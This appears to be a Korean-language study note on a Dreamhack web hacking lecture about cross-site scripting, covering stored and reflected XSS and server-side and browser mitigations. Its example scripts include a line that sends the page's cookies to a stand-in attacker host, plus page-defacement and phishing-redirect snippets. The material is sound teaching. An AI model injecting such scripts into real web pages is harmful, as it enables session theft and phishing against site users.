드림핵 웹해킹 2강 Client-side Basic : 2. Cross Site Scripting

2. Cross Site Scripting

Cross Site Scripting

서버의 응답에 공격자가 삽입한 악성 스크립트가 포함되어 사용자의 웹 브라우저에서 해당 스크립트가 실행되는 취약점

임의의 악성 스크립트를 실행할 수 있으며 이를 통해 해당 웹 사이트의 사용자 쿠키 또는 세션을 탈취해 사용자의 권한을 얻거나, 사용자의 페이지를 변조하는 등의 공격을 수행할 수 있다.

XSS 취약점에 대한 정보를 공유할 때 alert 또는 prompt와 같은 메시지 창을 실행하는 이유는 XSS취약점이 발생했다는 점을 시각적으로 표현이 가능하기 떄문이다.

성공적인 공경 수행을 위한 두가지 조건
1. 입력 데이터에 대한 충분한 검증 과정이 없어야 한다.
2. 서버의 응답 데이터가 웹 브라우저 내 페이지에 출력 시 충분한 검증 과정이 없어야 한다.

대표적인 예시 : 게시판 서비스

공격자의 악성 스크립트가 포함된 게시글이 검증이 이루어지지 않은 채 업로드 된다면, 다른 사용자가 해당 게시글을 조회해 공격자의 악성 스크립트가 사용자의 웹 브라우저에서 실행된다.

  • Stored XSS
  • Reflected XSS

XSS with Javascript

자바스크립트는 사용자의 웹 브라우저에서 화면을 동적으로 보여줄 수 있도록 자동으로 버튼을 누르거나 화면 구성을 바꾸는 등의 작업을 할 때 많이 사용된다.

웹 브라우저에서 출력되어지는 페이지의 내용을 조작하거나, 웹 브라우저의 위치를 공격자가 원하는 주소로 변경 가능하다.

자바 스크립트를 실행하는 대표적인 방법은 script 태그를 이용하는 방식이다.
공격자가 입력 데이터로 script 태그를 전송해 다른 사용자의 응답에 포함되면 공격자의 자바스크립트가 실행된다.
script 태그 외에도 태그의 속성 중 특정 상황에서 발생하는 on*이벤트들을 사용하여 자바스크립트 실행이 가능하다.

쿠키 및 세션

<script>
// "hello" 문자열 alert 실행.
alert("hello");
// 현재 페이지의 쿠키(return type: string)
document.cookie; 
// 현재 페이지의 쿠키를 인자로 가진 alert 실행.
alert(document.cookie);
// 쿠키 생성(key: name, value: test)
document.cookie = "name=test;";
// new Image() 는 이미지를 생성하는 함수이며, src는 이미지의 주소를 지정. 공격자 주소는 http://hacker.dreamhack.io
// "http://hacker.dreamhack.io/?cookie=현재페이지의쿠키" 주소를 요청하기 때문에 공격자 주소로 현재 페이지의 쿠키 요청함
new Image().src = "http://hacker.dreamhack.io/?cookie=" + document.cookie;
</script>

페이지 변조

<script>
// 사용자의 페이지 정보에 접근.
document;
// 사용자의 페이지에 데이터를 삽입.
document.write("Hacked By DreamHack !");
</script>

위치 이동

<script>
// 사용자의 위치를 변경.
// 피싱 공격 등으로 사용됨.
location.href = "http://hacker.dreamhack.io/phishing"; 
// 새 창 열기
window.open("http://hacker.dreamhack.io/")
</script>

Stored XSS

악성 스크립트가 서버 내에 존재하는 데이터베이스 또는 파일 등의 형태로 저장되어 있다가 사용자가 저장된 악성 스크립트를 조회하는 순간 발생하는 형태의 XSS이다.

ex) 게시판 서비스에서 악성 스크립트가 포함된 게시물을 조회할 때 악성 스크립트가 실행되는 공격 방식

게시판과 같이 서버 내에 저장되어 있는 형태로 불특정 다수에게 공격이 가능해 높은 파급력을 가질수 있지만, 악성 스크립트가 실행되는 페이지가 사용자가 일반적으로 접근하기 어려운 서비스일 경우 파급력이 높지 않을 수 있다.


Reflected XSS

악성 스크립트가 사용자의 요청과 함게 전송되는 형태이다. 사용자가 요청한 데이터가 서버의 응답에 포함되어 HTML등의 악성 스크립트가 그대로 출력되어 발생하게 된다.

Relfected XSS는 Stored XSS와 다르게 사용자의 요청 데이터에 의해 취약점이 발생하기 때문에, 변조된 데이터가 사용자의 요청으로 전송되는 형태를 유도해야 한다.

간단한 방법으로 특정 링크를 유도하는 방식이 있으며, click Jacking, Open Redirect 등의 다른 취약점과 연계해 발생시키는 방법도 있다.


Mitigations

브라우저 단에서 방어하는 기술뿐만 아니라 서버 내부에 저장하는 시점 혹은 저장된 데이터를 출력하는 시점에 입력 값을 올바르게 검증하는 방식으로 XSS를 방어해야 한다.

  • Server-side Mitigations
  • HTTPOnly 플래그 사용
  • Content Security Policy 사용
  • X-XSS-Protection

Server-side Mitigations

XSS를 유발할 수 있는 태그 삽입을 방지하기 위해 서버단에서 검증하는 방법이다.

사용자의 입력 값이 HTML 태그가 될 일이 없다면 꺽쇠, 따옴표와 같은 특수문자를 HTML Entity Encoding 을 이용해 태그로 인식하지 않도록 수정할 수 있다.

만약 사용자 입력 값에 HTML 형태를 지원해야 한다면 화이트리스트 필터링을 해야 한다.
화이트 리스트 필터링 : 허용해도 안전한 일부 태그, 속성을 제외한 모든 값을 필터링 하는 것

  • 게시글을 운영하는데 있어서 img, videon, a 태그만 필요하다면 해당되는 세 개의 태그를 제외한 모든 태그는 필터링 하는 방식

사용자의 입력 값을 필터링 할 때 유의할 점은 요청의 URI Query값이나 POST Body값만 필터링 하는 것이 아니라 User-Agent, Referer와 같은 헤더도 모두 포함하여 사용자로부터 입력된 값에 모두 적용해야 한다.

https://github.com/mozilla/bleach : HTML 필터링 라이브러리

좋은 웹페이지 즐겨찾기